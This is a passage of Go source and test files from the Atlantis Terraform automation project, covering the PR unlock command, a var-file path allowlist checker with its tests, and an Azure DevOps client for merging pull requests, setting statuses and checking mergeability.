UnlockCommandRunner struct { vcsClient vcs.Client deleteLockCommand DeleteLockCommand // SilenceNoProjects is whether Atlantis should respond to PRs if no projects // are found SilenceNoProjects bool DisableUnlockLabel string } func (u *UnlockCommandRunner) Run(ctx *command.Context, _ *CommentCommand) { baseRepo := ctx.Pull.BaseRepo pullNum := ctx.Pull.Num disableUnlockLabel := u.DisableUnlockLabel ctx.Log.Info("Unlocking all locks") vcsMessage := "All Atlantis locks for this PR have been unlocked and plans discarded" var hasLabel bool var err error if disableUnlockLabel != "" { var labels []string labels, err = u.vcsClient.GetPullLabels(ctx.Log, baseRepo, ctx.Pull) if err != nil { vcsMessage = "Failed to retrieve PR labels... Not unlocking" ctx.Log.Err("Failed to retrieve PR labels for pull %s", err.Error()) } hasLabel = slices.Contains(labels, disableUnlockLabel) if hasLabel { vcsMessage = "Not allowed to unlock PR with " + disableUnlockLabel + " label" ctx.Log.Info("Not allowed to unlock PR with %v label", disableUnlockLabel) } } var numLocks int if err == nil && !hasLabel { numLocks, err = u.deleteLockCommand.DeleteLocksByPull(ctx.Log, baseRepo.FullName, pullNum) if err != nil { vcsMessage = "Failed to delete PR locks" ctx.Log.Err("failed to delete locks by pull %s", err.Error()) } } // if there are no locks to delete, no errors, and SilenceNoProjects is enabled, don't comment if err == nil && numLocks == 0 { ctx.Log.Info("No locks to delete") if u.SilenceNoProjects { return } } if commentErr := u.vcsClient.CreateComment(ctx.Log, baseRepo, pullNum, vcsMessage, command.Unlock.String()); commentErr != nil { ctx.Log.Err("unable to comment: %s", commentErr) } } ================================================ FILE: server/events/var_file_allowlist_checker.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "path/filepath" "strings" ) // VarFileAllowlistChecker implements checking if paths are allowlisted to be used with // this Atlantis. type VarFileAllowlistChecker struct { rules []string } // NewVarFileAllowlistChecker constructs a new checker and validates that the // allowlist isn't malformed. func NewVarFileAllowlistChecker(allowlist string) (*VarFileAllowlistChecker, error) { var rules []string paths := strings.Split(allowlist, ",") if paths[0] != "" { for _, path := range paths { absPath, err := filepath.Abs(path) if err != nil { return nil, fmt.Errorf("converting allowlist %q to absolute path: %w", path, err) } rules = append(rules, absPath) } } return &VarFileAllowlistChecker{ rules: rules, }, nil } func (p *VarFileAllowlistChecker) Check(flags []string) error { for i, flag := range flags { var path string if i < len(flags)-1 && flag == "-var-file" { // Flags are in the format of []{"-var-file", "my-file.tfvars"} path = flags[i+1] } else { flagSplit := strings.Split(flag, "=") // Flags are in the format of []{"-var-file=my-file.tfvars"} if len(flagSplit) == 2 && flagSplit[0] == "-var-file" { path = flagSplit[1] } } if path != "" && !p.isAllowedPath(path) { return fmt.Errorf("var file path %s is not allowed by the current allowlist: [%s]", path, strings.Join(p.rules, ", ")) } } return nil } func (p *VarFileAllowlistChecker) isAllowedPath(path string) bool { path = filepath.Clean(path) // If the path is within the repo directory, return true without checking the rules. if !filepath.IsAbs(path) { if !strings.HasPrefix(path, "..") && !strings.HasPrefix(path, "~") { return true } } // Check the path against the rules. for _, rule := range p.rules { rel, err := filepath.Rel(rule, path) if err == nil && !strings.HasPrefix(rel, "..") { return true } } return false } ================================================ FILE: server/events/var_file_allowlist_checker_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "testing" "github.com/runatlantis/atlantis/server/events" . "github.com/runatlantis/atlantis/testing" ) func TestVarFileAllowlistChecker_IsAllowlisted(t *testing.T) { cases := []struct { Description string Allowlist string Flags []string ExpErr string }{ { "Empty Allowlist, no var file", "", []string{""}, "", }, { "Empty Allowlist, single var file under the repo directory", "", []string{"-var-file=test.tfvars"}, "", }, { "Empty Allowlist, single var file under the repo directory, specified in separate flags", "", []string{"-var-file", "test.tfvars"}, "", }, { "Empty Allowlist, single var file under the subdirectory of the repo directory", "", []string{"-var-file=sub/test.tfvars"}, "", }, { "Empty Allowlist, single var file outside the repo directory", "", []string{"-var-file=/path/to/file"}, "var file path /path/to/file is not allowed by the current allowlist: []", }, { "Empty Allowlist, single var file under the parent directory of the repo directory", "", []string{"-var-file=../test.tfvars"}, "var file path ../test.tfvars is not allowed by the current allowlist: []", }, { "Empty Allowlist, single var file under the home directory", "", []string{"-var-file=~/test.tfvars"}, "var file path ~/test.tfvars is not allowed by the current allowlist: []", }, { "Single path in allowlist, no var file", "/path", []string{""}, "", }, { "Single path in allowlist, single var file under the repo directory", "/path", []string{"-var-file=test.tfvars"}, "", }, { "Single path in allowlist, single var file under the allowlisted directory", "/path", []string{"-var-file=/path/test.tfvars"}, "", }, { "Single path with ending slash in allowlist, single var file under the allowlisted directory", "/path/", []string{"-var-file=/path/test.tfvars"}, "", }, { "Single path in allowlist, single var file in the parent directory of the repo directory", "/path", []string{"-var-file=../test.tfvars"}, "var file path ../test.tfvars is not allowed by the current allowlist: [/path]", }, { "Single path in allowlist, single var file outside the allowlisted directory", "/path", []string{"-var-file=/path_not_allowed/test.tfvars"}, "var file path /path_not_allowed/test.tfvars is not allowed by the current allowlist: [/path]", }, { "Single path in allowlist, single var file in the parent directory of the allowlisted directory", "/path", []string{"-var-file=/test.tfvars"}, "var file path /test.tfvars is not allowed by the current allowlist: [/path]", }, { "Root path in allowlist, with multiple var files", "/", []string{"-var-file=test.tfvars", "-var-file=/path/test.tfvars", "-var-file=/test.tfvars"}, "", }, { "Multiple paths in allowlist, with multiple var files under allowlisted directories", "/path,/another/path", []string{"-var-file=test.tfvars", "-var-file", "/path/test.tfvars", "unused-flag", "-var-file=/another/path/sub/test.tfvars"}, "", }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { v, err := events.NewVarFileAllowlistChecker(c.Allowlist) Ok(t, err) err = v.Check(c.Flags) if c.ExpErr != "" { ErrEquals(t, c.ExpErr, err) } else { Ok(t, err) } }) } } ================================================ FILE: server/events/vcs/azuredevops/client.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package azuredevops import ( "context" "errors" "fmt" "net/http" "net/url" "path/filepath" "strings" "time" "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" ) // Client represents an Azure DevOps VCS client type Client struct { Client *azuredevops.Client ctx context.Context UserName string } // NewClient returns a valid Azure DevOps client. func New(hostname string, userName string, token string) (*Client, error) { tp := azuredevops.BasicAuthTransport{ Username: "", Password: strings.TrimSpace(token), } httpClient := tp.Client() httpClient.Timeout = time.Second * 10 var adClient, err = azuredevops.NewClient(httpClient) if err != nil { return nil, err } if hostname != "dev.azure.com" { baseURL := fmt.Sprintf("https://%s/", hostname) base, err := url.Parse(baseURL) if err != nil { return nil, fmt.Errorf("invalid azure devops hostname trying to parse %s: %w", baseURL, err) } adClient.BaseURL = *base } client := &Client{ Client: adClient, UserName: userName, ctx: context.Background(), } return client, nil } // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. func (g *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { var files []string owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) opts := azuredevops.PullRequestGetOptions{ IncludeWorkItemRefs: true, } pullRequest, _, _ := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts) targetRefName := strings.Replace(pullRequest.GetTargetRefName(), "refs/heads/", "", 1) sourceRefName := strings.Replace(pullRequest.GetSourceRefName(), "refs/heads/", "", 1) const pageSize = 100 // Number of files from diff call var skip int for { r, resp, err := g.Client.Git.GetDiffs(g.ctx, owner, project, repoName, targetRefName, sourceRefName, &azuredevops.GitDiffListOptions{ Top: pageSize, Skip: skip, }) if err != nil { return nil, fmt.Errorf("getting pull request: %w", err) } if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("http response code %d getting diff %s to %s: %w", resp.StatusCode, sourceRefName, targetRefName, err) } for _, change := range r.Changes { item := change.GetItem() // Convert the path to a relative path from the repo's root. relativePath := filepath.Clean("./" + item.GetPath()) files = append(files, relativePath) // If the file was renamed, we'll want to run plan in the directory // it was moved from as well. changeType := azuredevops.Rename.String() if change.ChangeType == &changeType { relativePath = filepath.Clean("./" + change.GetSourceServerItem()) files = append(files, relativePath) } } if len(r.Changes) < pageSize { break // Break if we have reached the end } skip += pageSize // Move to next page } return files, nil } // CreateComment creates a comment on a pull request. // // If comment length is greater than the max comment length we split into // multiple comments. func (g *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { //nolint: revive // maxCommentLength is the maximum number of chars allowed in a single comment // This length was copied from the Github client - haven't found documentation // or tested limit in Azure DevOps. const maxCommentLength = 150000 comments := common.SplitComment(logger, comment, maxCommentLength, 0, command) owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) for i := range comments { commentType := "text" parentCommentID := 0 prComment := azuredevops.Comment{ CommentType: &commentType, Content: &comments[i], ParentCommentID: &parentCommentID, } prComments := []*azuredevops.Comment{&prComment} body := azuredevops.GitPullRequestCommentThread{ Comments: prComments, } _, _, err := g.Client.PullRequests.CreateComments(g.ctx, owner, project, repoName, pullNum, &body) if err != nil { return err } } return nil } func (g *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { //nolint: revive return nil } func (g *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { //nolint: revive return nil } // PullIsApproved returns true if the merge request was approved by another reviewer. // https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops#require-a-minimum-number-of-reviewers func (g *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) opts := azuredevops.PullRequestGetOptions{ IncludeWorkItemRefs: true, } adPull, _, err := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts) if err != nil { return approvalStatus, fmt.Errorf("getting pull request: %w", err) } for _, review := range adPull.Reviewers { if review == nil { continue } if review.GetUniqueName() == adPull.GetCreatedBy().GetUniqueName() { continue } if review.GetVote() == azuredevops.VoteApproved || review.GetVote() == azuredevops.VoteApprovedWithSuggestions { return models.ApprovalStatus{ IsApproved: true, }, nil } } return approvalStatus, nil } func (g *Client) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { //nolint: revive // TODO implement return nil } // PullIsMergeable returns true if the merge request can be merged. func (g *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) { //nolint: revive owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) opts := azuredevops.PullRequestGetOptions{IncludeWorkItemRefs: true} adPull, _, err := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts) if err != nil { return models.MergeableStatus{}, fmt.Errorf("getting pull request: %w", err) } if *adPull.MergeStatus != azuredevops.MergeSucceeded.String() { return models.MergeableStatus{ IsMergeable: false, }, nil } if *adPull.IsDraft { return models.MergeableStatus{ IsMergeable: false, }, nil } if *adPull.Status != azuredevops.PullActive.String() { return models.MergeableStatus{ IsMergeable: false, }, nil } projectID := *adPull.Repository.Project.ID artifactID := g.Client.PolicyEvaluations.GetPullRequestArtifactID(projectID, pull.Num) policyEvaluations, _, err := g.Client.PolicyEvaluations.List(g.ctx, owner, project, artifactID, &azuredevops.PolicyEvaluationsListOptions{}) if err != nil { return models.MergeableStatus{}, fmt.Errorf("getting policy evaluations: %w", err) } for _, policyEvaluation := range policyEvaluations { if !*policyEvaluation.Configuration.IsEnabled || *policyEvaluation.Configuration.IsDeleted { continue } // Ignore the Atlantis status, even if its set as a blocker. // This status should not be considered when evaluating if the pull request can be applied. settings := (policyEvaluation.Configuration.Settings).(map[string]any) if genre, ok := settings["statusGenre"]; ok && genre == "Atlantis Bot/atlantis" { if name, ok := settings["statusName"]; ok && name == "apply" { continue } } if *policyEvaluation.Configuration.IsBlocking && *policyEvaluation.Status != azuredevops.PolicyEvaluationApproved { return models.MergeableStatus{ IsMergeable: false, }, nil } } return models.MergeableStatus{ IsMergeable: true, }, nil } // GetPullRequest returns the pull request. func (g *Client) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, num int) (*azuredevops.GitPullRequest, error) { opts := azuredevops.PullRequestGetOptions{ IncludeWorkItemRefs: true, } owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) pull, _, err := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, num, &opts) return pull, err } // UpdateStatus updates the build status of a commit. func (g *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { adState := azuredevops.GitError.String() switch state { case models.PendingCommitStatus: adState = azuredevops.GitPending.String() case models.SuccessCommitStatus: adState = azuredevops.GitSucceeded.String() case models.FailedCommitStatus: adState = azuredevops.GitFailed.String() } logger.Info("Updating Azure DevOps commit status for '%s' to '%s'", src, adState) status := azuredevops.GitPullRequestStatus{} status.Context = gitStatusContextFromSrc(src) status.Description = &description status.State = &adState if url != "" { status.TargetURL = &url } owner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName) opts := azuredevops.PullRequestListOptions{} source, resp, err := g.Client.PullRequests.Get(g.ctx, owner, project, pull.Num, &opts) if err != nil { return fmt.Errorf("getting pull request: %w", err) } if resp.StatusCode != http.StatusOK { return fmt.Errorf("http response code %d getting pull request", resp.StatusCode) } if source.GetSupportsIterations() { opts := azuredevops.PullRequestIterationsListOptions{} iterations, resp, err := g.Client.PullRequests.ListIterations(g.ctx, owner, project, repoName, pull.Num, &opts) if err != nil { return fmt.Errorf("listing pull request iterations: %w", err) } if resp.StatusCode != http.StatusOK { return fmt.Errorf("http response code %d listing pull request iterations", resp.StatusCode) } for _, iteration := range iterations { if sourceRef := iteration.GetSourceRefCommit(); sourceRef != nil { if *sourceRef.CommitID == pull.HeadCommit { status.IterationID = iteration.ID break } } } if iterationID := status.IterationID; iterationID != nil { if *iterationID < 1 { return errors.New("supportsIterations was true but got invalid iteration ID or no matching iteration commit SHA was found") } } } _, resp, err = g.Client.PullRequests.CreateStatus(g.ctx, owner, project, repoName, pull.Num, &status) if err != nil { return fmt.Errorf("creating pull request status: %w", err) } if resp.StatusCode != http.StatusOK { return fmt.Errorf("http response code %d creating pull request status", resp.StatusCode) } return err } // MergePull merges the merge request using the default no fast-forward strategy // If the user has set a branch policy that disallows no fast-forward, the merge will fail // until we handle branch policies // https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops func (g *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { owner, project, repoName := SplitAzureDevopsRepoFullName(pull.BaseRepo.FullName) descriptor := "Atlantis Terraform Pull Request Automation" userID, err := g.Client.UserEntitlements.GetUserID(g.ctx, g.UserName, owner) if err != nil { return fmt.Errorf("getting user id, User name: %s Organization %s : %w", g.UserName, owner, err) } if userID == nil { return fmt.Errorf("the user %s is not found in the organization %s", g.UserName, owner) } imageURL := "https://raw.githubusercontent.com/runatlantis/atlantis/main/runatlantis.io/public/hero.png" id := azuredevops.IdentityRef{ Descriptor: &descriptor, ID: userID, ImageURL: &imageURL, } // Set default pull request completion options mcm := azuredevops.NoFastForward.String() twi := new(bool) *twi = true completionOpts := azuredevops.GitPullRequestCompletionOptions{ BypassPolicy: new(bool), BypassReason: azuredevops.String(""), DeleteSourceBranch: &pullOptions.DeleteSourceBranchOnMerge, MergeCommitMessage: azuredevops.String(common.AutomergeCommitMsg(pull.Num)), MergeStrategy: &mcm, SquashMerge: new(bool), TransitionWorkItems: twi, TriggeredByAutoComplete: new(bool), } // Construct request body from supplied parameters mergePull := new(azuredevops.GitPullRequest) mergePull.AutoCompleteSetBy = &id mergePull.CompletionOptions = &completionOpts mergeResult, _, err := g.Client.PullRequests.Merge( g.ctx, owner, project, repoName, pull.Num, mergePull, completionOpts, id, ) if err != nil { return fmt.Errorf("merging pull request: %w", err) } if *mergeResult.MergeStatus != azuredevops.MergeSucceeded.String() { return fmt.Errorf("could not merge pull request: %s", mergeResult.GetMergeFailureMessage()) } return nil } // MarkdownPullLink specifies the string used in a pull request comment to reference another pull request. func (g *Client) MarkdownPullLink(pull models.PullRequest) (string, error) { return fmt.Sprintf("!%d", pull.Num), nil } // SplitAzureDevopsRepoFullName splits a repo full name up into its owner, // repo and project name segments. If the repoFullName is malformed, may // return empty strings for owner, repo, or project. Azure DevOps uses // repoFullName format owner/project/repo. // // Ex. runatlantis/atlantis => (runatlantis, atlantis) // // gitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis) // azuredevops/project/atlantis => (azuredevops, project, atlantis) func SplitAzureDevopsRepoFullName(repoFullName string) (owner string, project string, repo string) { firstSlashIdx := strings.Index(repoFullName, "/") lastSlashIdx := strings.LastIndex(repoFullName, "/") slashCount := strings.Count(repoFullName, "/") if lastSlashIdx == -1 || lastSlashIdx == len(repoFullName)-1 { return "", "", "" } if firstSlashIdx != lastSlashIdx && slashCount == 2 { return repoFullName[:firstSlashIdx], repoFullName[firstSlashIdx+1 : lastSlashIdx], repoFullName[lastSlashIdx+1:] } return repoFullName[:lastSlashIdx], "", repoFullName[lastSlashIdx+1:] } // GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). func (g *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { //nolint: revive return nil, nil } func (g *Client) SupportsSingleFileDownload(repo models.Repo) bool { //nolint: revive return false } func (g *Client) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) { //nolint: revive return false, []byte{}, fmt.Errorf("not implemented") } // GitStatusContextFromSrc parses an Atlantis formatted src string into a context suitable // for the status update API. In the AzureDevops branch policy UI there is a single string // field used to drive these contexts where all text preceding the final '/' character is // treated as the 'genre'. func gitStatusContextFromSrc(src string) *azuredevops.GitStatusContext { lastSlashIdx := strings.LastIndex(src, "/") genre := "Atlantis Bot" name := src if lastSlashIdx != -1 { genre = fmt.Sprintf("%s/%s", genre, src[:lastSlashIdx]) name = src[lastSlashIdx+1:] } return &azuredevops.GitStatusContext{ Name: &name, Genre: &genre, } } func (g *Client) GetCloneURL(_ logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) { //nolint: revive return "", fmt.Errorf("not yet implemented") } func (g *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { return nil, fmt.Errorf("not yet implemented") } ================================================ FILE: server/events/vcs/azuredevops/client_internal_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package azuredevops import ( "testing" . "github.com/runatlantis/atlantis/testing" ) func TestGitStatusContextFromSrc(t *testing.T) { cases := []struct { src string expGenre string expName string }{ { "atlantis/plan", "Atlantis Bot/atlantis", "plan", }, { "atlantis/foo/bar/biz/baz", "Atlantis Bot/atlantis/foo/bar/biz", "baz", }, { "foo", "Atlantis Bot", "foo", }, { "", "Atlantis Bot", "", }, } for _, c := range cases { result := gitStatusContextFromSrc(c.src) expName := c.expName expGenre := c.expGenre Equals(t, &expName, result.Name) Equals(t, &expGenre, result.Genre) } } ================================================ FILE: server/events/vcs/azuredevops/client_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package azuredevops_test import ( "context" "fmt" "io" "net/http" "net/http/httptest" "net/url" "os" "strings" "testing" "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/runatlantis/atlantis/server/events/models" azuredevopsclient "github.com/runatlantis/atlantis/server/events/vcs/azuredevops" "github.com/runatlantis/atlantis/server/events/vcs/azuredevops/testdata" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestAzureDevopsClient_MergePull(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { description string response string code int expErr string }{ { "success", adMergeSuccess, 200, "", }, { "405", `{"message":"405 Method Not Allowed"}`, 405, "405 {message: 405 Method Not Allowed}", }, { "406", `{"message":"406 Branch cannot be merged"}`, 406, "406 {message: 406 Branch cannot be merged}", }, } // Set default pull request completion options mcm := azuredevops.NoFastForward.String() twi := new(bool) *twi = true completionOptions := azuredevops.GitPullRequestCompletionOptions{ BypassPolicy: new(bool), BypassReason: azuredevops.String(""), DeleteSourceBranch: new(bool), MergeCommitMessage: azuredevops.String("commit message"), MergeStrategy: &mcm, SquashMerge: new(bool), TransitionWorkItems: twi, TriggeredByAutoComplete: new(bool), } id := azuredevops.IdentityRef{} pull := azuredevops.GitPullRequest{ PullRequestID: azuredevops.Int(22), } userIDResponse := `{ "members": [ { "id": "6416203b-98bb-4910-8f8a-b12aa19a399f" } ], "continuationToken": null, "totalCount": 0, "items": [ { "id": "6416203b-98bb-4910-8f8a-b12aa19a399f" } ] }` for _, c := range cases { t.Run(c.description, func(t *testing.T) { testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/owner/project/_apis/git/repositories/repo/pullrequests/22?api-version=5.1-preview.1": w.WriteHeader(c.code) w.Write([]byte(c.response)) // nolint: errcheck case "/owner/_apis/userentitlements?$filter=name+eq+'user'&$api-version=6.0-preview.3": w.WriteHeader(c.code) w.Write([]byte(userIDResponse)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := azuredevopsclient.New(testServerURL.Host, "user", "token") client.Client.VsaexBaseURL = *testServerURL Ok(t, err) defer common.DisableSSLVerification()() merge, _, err := client.Client.PullRequests.Merge(context.Background(), "owner", "project", "repo", pull.GetPullRequestID(), &pull, completionOptions, id, ) if err != nil { fmt.Printf("Merge failed: %+v\n", err) return } fmt.Printf("Successfully merged pull request: %+v\n", merge) err = client.MergePull( logger, models.PullRequest{ Num: 22, BaseRepo: models.Repo{ FullName: "owner/project/repo", Owner: "owner", Name: "repo", }, }, models.PullRequestOptions{ DeleteSourceBranchOnMerge: false, }) if c.expErr == "" { Ok(t, err) } else { ErrContains(t, c.expErr, err) ErrContains(t, "unable to merge merge request, it may not be in a mergeable state", err) } }) } } func TestAzureDevopsClient_UpdateStatus(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus expState string supportsIterations bool }{ { models.PendingCommitStatus, "pending", true, }, { models.SuccessCommitStatus, "succeeded", true, }, { models.FailedCommitStatus, "failed", true, }, { models.PendingCommitStatus, "pending", false, }, { models.SuccessCommitStatus, "succeeded", false, }, { models.FailedCommitStatus, "failed", false, }, } iterResponse := `{"count": 2, "value": [{"id": 1, "sourceRefCommit": { "commitId": "oldsha"}}, {"id": 2, "sourceRefCommit": { "commitId": "sha"}}]}` prResponse := `{"supportsIterations": %t}` partResponse := `{"context":{"genre":"Atlantis Bot","name":"src"},"description":"description","state":"%s","targetUrl":"https://google.com"` for _, c := range cases { prResponse := fmt.Sprintf(prResponse, c.supportsIterations) t.Run(c.expState, func(t *testing.T) { gotRequest := false testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/owner/project/_apis/git/repositories/repo/pullrequests/22/statuses?api-version=5.1-preview.1": gotRequest = true defer r.Body.Close() // nolint: errcheck body, err := io.ReadAll(r.Body) Ok(t, err) exp := fmt.Sprintf(partResponse, c.expState) if c.supportsIterations == true { exp = fmt.Sprintf("%s%s}\n", exp, `,"iterationId":2`) } else { exp = fmt.Sprintf("%s}\n", exp) } Equals(t, exp, string(body)) w.Write([]byte(exp)) // nolint: errcheck case "/owner/project/_apis/git/repositories/repo/pullrequests/22/iterations?api-version=5.1": w.Write([]byte(iterResponse)) // nolint: errcheck case "/owner/project/_apis/git/pullrequests/22?api-version=5.1-preview.1": w.Write([]byte(prResponse)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := azuredevopsclient.New(testServerURL.Host, "user", "token") Ok(t, err) defer common.DisableSSLVerification()() repo := models.Repo{ FullName: "owner/project/repo", Owner: "owner", Name: "repo", } err = client.UpdateStatus( logger, repo, models.PullRequest{ Num: 22, BaseRepo: repo, HeadCommit: "sha", }, c.status, "src", "description", "https://google.com") Ok(t, err) Assert(t, gotRequest, "expected to get the request") }) } } // GetModifiedFiles should make multiple requests if more than one page // and concat results. func TestAzureDevopsClient_GetModifiedFiles(t *testing.T) { logger := logging.NewNoopLogger(t) itemRespTemplate := `{ "changes": [ { "item": { "gitObjectType": "blob", "path": "%s", "url": "https://dev.azure.com/fabrikam/_apis/git/repositories/278d5cd2-584d-4b63-824a-2ba458937249/items/MyWebSite/MyWebSite/%s?versionType=Commit" }, "changeType": "add" }, { "item": { "gitObjectType": "blob", "path": "%s", "url": "https://dev.azure.com/fabrikam/_apis/git/repositories/278d5cd2-584d-4b63-824a-2ba458937249/items/MyWebSite/MyWebSite/%s?versionType=Commit" }, "changeType": "add" } ]}` resp := fmt.Sprintf(itemRespTemplate, "/file1.txt", "/file1.txt", "/file2.txt", "/file2.txt") testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true": w.Write([]byte(testdata.PullJSON)) // nolint: errcheck // The second should hit this URL. case "/owner/project/_apis/git/repositories/repo/diffs/commits?%24top=100&api-version=5.1&baseVersion=new_feature&targetVersion=npaulk%2Fmy_work": // We write a header that means there's an additional page. w.Write([]byte(resp)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := azuredevopsclient.New(testServerURL.Host, "user", "token") Ok(t, err) defer common.DisableSSLVerification()() files, err := client.GetModifiedFiles( logger, models.Repo{ FullName: "owner/project/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.AzureDevops, Hostname: "dev.azure.com", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt"}, files) } func TestAzureDevopsClient_PullIsMergeable(t *testing.T) { logger := logging.NewNoopLogger(t) type Policy struct { genre string name string status string } cases := []struct { testName string mergeStatus string policy Policy expMergeable models.MergeableStatus }{ { "merge conflicts", azuredevops.MergeConflicts.String(), Policy{ "Not Atlantis", "foo", "approved", }, models.MergeableStatus{ IsMergeable: false, }, }, { "rejected policy status", azuredevops.MergeSucceeded.String(), Policy{ "Not Atlantis", "foo", "rejected", }, models.MergeableStatus{ IsMergeable: false, }}, { "merge succeeded", azuredevops.MergeSucceeded.String(), Policy{ "Not Atlantis", "foo", "approved", }, models.MergeableStatus{ IsMergeable: true, }}, { "pending policy status", azuredevops.MergeSucceeded.String(), Policy{ "Not Atlantis", "foo", "pending", }, models.MergeableStatus{ IsMergeable: false, }, }, { "atlantis apply status rejected", azuredevops.MergeSucceeded.String(), Policy{ "Atlantis Bot/atlantis", "apply", "rejected", }, models.MergeableStatus{ IsMergeable: true, }, }, } jsonPullRequestBytes, err := os.ReadFile("testdata/pr.json") Ok(t, err) jsonPolicyEvaluationBytes, err := os.ReadFile("testdata/policyevaluations.json") Ok(t, err) pullRequestBody := string(jsonPullRequestBytes) policyEvaluationsBody := string(jsonPolicyEvaluationBytes) for _, c := range cases { t.Run(c.testName, func(t *testing.T) { pullRequestResponse := strings.Replace(pullRequestBody, `"mergeStatus": "notSet"`, fmt.Sprintf(`"mergeStatus": "%s"`, c.mergeStatus), 1) policyEvaluationsResponse := strings.Replace(policyEvaluationsBody, `"status": "approved"`, fmt.Sprintf(`"status": "%s"`, c.policy.status), 1) policyEvaluationsResponse = strings.Replace(policyEvaluationsResponse, `"statusGenre": "Atlantis Bot/atlantis"`, fmt.Sprintf(`"statusGenre": "%s"`, c.policy.genre), 1) policyEvaluationsResponse = strings.Replace(policyEvaluationsResponse, `"statusName": "plan"`, fmt.Sprintf(`"statusName": "%s"`, c.policy.name), 1) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true": w.Write([]byte(pullRequestResponse)) // nolint: errcheck return case "/owner/project/_apis/policy/evaluations?api-version=5.1-preview&artifactId=vstfs%3A%2F%2F%2FCodeReview%2FCodeReviewId%2F33333333-3333-3333-333333333333%2F1": w.Write([]byte(policyEvaluationsResponse)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := azuredevopsclient.New(testServerURL.Host, "user", "token") Ok(t, err) defer common.DisableSSLVerification()() actMergeable, err := client.PullIsMergeable( logger, models.Repo{ FullName: "owner/project/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.AzureDevops, Hostname: "dev.azure.com", }, }, models.PullRequest{ Num: 1, }, "atlantis-test", 